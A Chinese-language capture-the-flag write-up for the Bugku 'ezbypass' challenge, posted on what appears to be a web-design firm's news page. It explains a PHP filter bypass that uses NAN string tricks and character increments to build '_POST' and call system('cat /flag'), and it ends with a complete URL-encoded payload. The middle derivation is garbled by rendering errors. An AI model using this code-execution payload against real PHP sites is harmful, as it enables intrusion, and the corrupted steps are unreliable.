ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Bugku __ ezbypass

Bugku __ ezbypass 、打开题目代码审计一段php代码大致意思就是构造一个字符串传给code不能有[a-zA-Z0-9#%^*:{}-?|~\\]中的字符长度小于等于1052、用代码找出可用的字符得到目的就是通过这些已知的信息来构造出类似codesystem(cat /flag)的结果下面的未知领域就要考wp和ai共同发力了大概就是rce绕过正什么绕过最后url编码传过去备注到最后我的bp一直在传没传进去幸好前两天在谷歌下了hackbar要不然就同时金币了4、构造payload前方大量知识点高能_这个字符串没有数字部分转换成数字就是0。_ / _可以代表字符串—除以—英文下划线打不出来了_ / _ 其实就是 “ / ”是两个字符串在做除法。在 PHP 中除法运算符/要求两边是数字。如果你给它的是字符串PHP 会尝试把字符串转换成数字。转换规则是从字符串开头取数字部分如果没有数字就转成0。任何数除以0在数学上没有意义。在 PHP 中这种运算会得到一个特殊值NANNot a Number接下来我们用字符串拼接.(_ / _ .)的结果还是NAN但是这个时候原本的—/—就会从数学无意义的状态变成字符串状态这样下一步(_ / _ .)[]就会变成取NAN的第 0 个字符也就是N了PHP 有个特性字符串可以自增。我们可以通过(_ / _ .)[]也就是字母N来进行自增操作获取我们需要的字母所以$_ (/.)[]; //N_ N​N; //O_ O​O; //P_ P​P__ ._..​; //KaTeX parse error: Expected group after _ at position 1: _̲_ PO; //Q//...继续自增到S//...继续自增到T_ Q// ... 继续自增到 S// ... 继续自增到 T​Q//...继续自增到S//...继续自增到T__ KaTeX parse error: Expected group after _ at position 1: _̲_.; //KaTeX parse error: Expected group after _ at position 1: _̲_ POST.$__; // $ “_POST”最终构造出_POST这个字符串5、执行步骤POST[](_POST[_](P​OST[]​(_POST[__]);这里用了可变变量$_[_]→_POST[_]→ 取$_POST数组中_键的值$_[__]→_POST[__]→ 取$_POST数组中__键的值所以当你 POST 提交system_cat /flag代码就变成了phpsystem(“cat /flag”);6、最终结果再进行url编码_system__cat /flagcode%24_%3D(%2F.)%5B%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
返回列表